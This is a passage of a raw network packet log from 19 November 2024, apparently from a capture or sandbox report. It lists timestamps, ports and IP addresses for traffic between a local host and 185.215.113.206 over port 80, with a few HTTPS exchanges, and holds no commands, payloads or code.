Nov 19, 2024 20:05:50.991919041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991930962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991945982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991959095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991959095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.991959095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.991959095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.991959095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.991959095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.991972923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991991997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992002964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992016077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992062092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992074013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992096901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992096901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992096901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992096901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992096901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992096901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992115021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992135048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992156982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992170095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992173910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992173910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992227077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992283106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992283106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992283106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992341995 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992399931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992413044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992424965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992456913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992469072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992481947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992485046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992485046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992485046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992536068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992556095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992618084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992630005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992641926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992654085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992712975 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992718935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992718935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992718935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992718935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992718935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992727995 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992743015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992784023 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992799997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992813110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992871046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992871046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992871046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992871046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992871046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.992887020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992899895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992945910 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.992959976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993078947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993091106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993103027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993158102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993158102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993158102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993158102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993190050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993202925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993215084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993230104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993231058 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993243933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993264914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993278027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993371964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993388891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993402958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993416071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993451118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993451118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993451118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993451118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993451118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993451118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.993508101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.993853092 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053344965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053364038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053375006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053388119 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053463936 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053463936 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053553104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053565025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053575993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053601027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053611994 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053628922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053664923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053675890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053688049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053699017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053709984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053713083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053713083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053713083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053713083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053713083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053723097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053738117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053746939 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053746939 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053761005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053778887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053780079 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053793907 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053807020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053818941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053828955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053838968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053849936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053854942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053854942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053854942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053863049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053874016 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053875923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053890944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053901911 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053914070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053930044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053950071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053961039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053968906 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053968906 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053968906 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053968906 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.053975105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053987980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.053998947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054008961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054018974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054018974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054022074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054040909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054052114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054061890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054074049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054085970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054095984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054109097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054121017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054124117 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054124117 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054124117 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054124117 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054124117 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054131985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054145098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054157972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054162979 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054162979 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054168940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054199934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054210901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054220915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054234028 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054239035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054239035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054239035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054245949 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054256916 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054274082 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054286003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054296970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054311037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054322004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054335117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054346085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054358006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.054364920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054364920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054364920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054364920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054364920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054368973 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.054402113 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.054434061 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.054455996 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.054464102 CET	52537	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.054476976 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.054486990 CET	52537	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.054500103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054500103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.054502010 CET	52537	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.054512978 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.054548025 CET	52537	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.055008888 CET	52537	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.055027008 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.055038929 CET	52537	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.055044889 CET	443	52537	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.078511000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078536034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078548908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078560114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078572989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078588009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078635931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078635931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078635931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078651905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078672886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078687906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078700066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078710079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078752995 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078764915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078773975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078773975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078773975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078803062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078815937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078829050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078876019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078877926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078877926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078877926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078877926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078890085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078907013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078922033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078941107 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.078944921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078946114 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.078986883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079006910 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079019070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079024076 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079024076 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079158068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079158068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079293013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079303980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079324007 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079338074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079344988 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079344988 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079360008 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079363108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079376936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079389095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079401970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079423904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079430103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079430103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079430103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079430103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079473019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079485893 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079524040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079524040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079524040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079524040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079570055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079600096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079612017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079624891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079705000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079715967 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079722881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079734087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079735994 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079735994 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079735994 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079735994 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079750061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079814911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079814911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079814911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079823971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079837084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079849958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079936981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079948902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079948902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.079968929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.079988003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080002069 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080013990 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080029011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080046892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080058098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080071926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.080073118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.080073118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.080143929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.080143929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.080153942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080167055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080178976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080190897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080203056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080277920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080291986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.080305099 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.080305099 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.080305099 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.080548048 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.080548048 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.126488924 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.126537085 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.126693964 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.126907110 CET	64159	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:51.126919985 CET	443	64159	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:51.136497021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136513948 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136539936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136553049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136559010 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136565924 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136621952 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.136621952 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.136621952 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.136661053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136674881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136744022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.136755943 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136770010 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136862040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.136867046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136881113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136894941 CET	80	52448	185.215.113.206	192.168.2.7
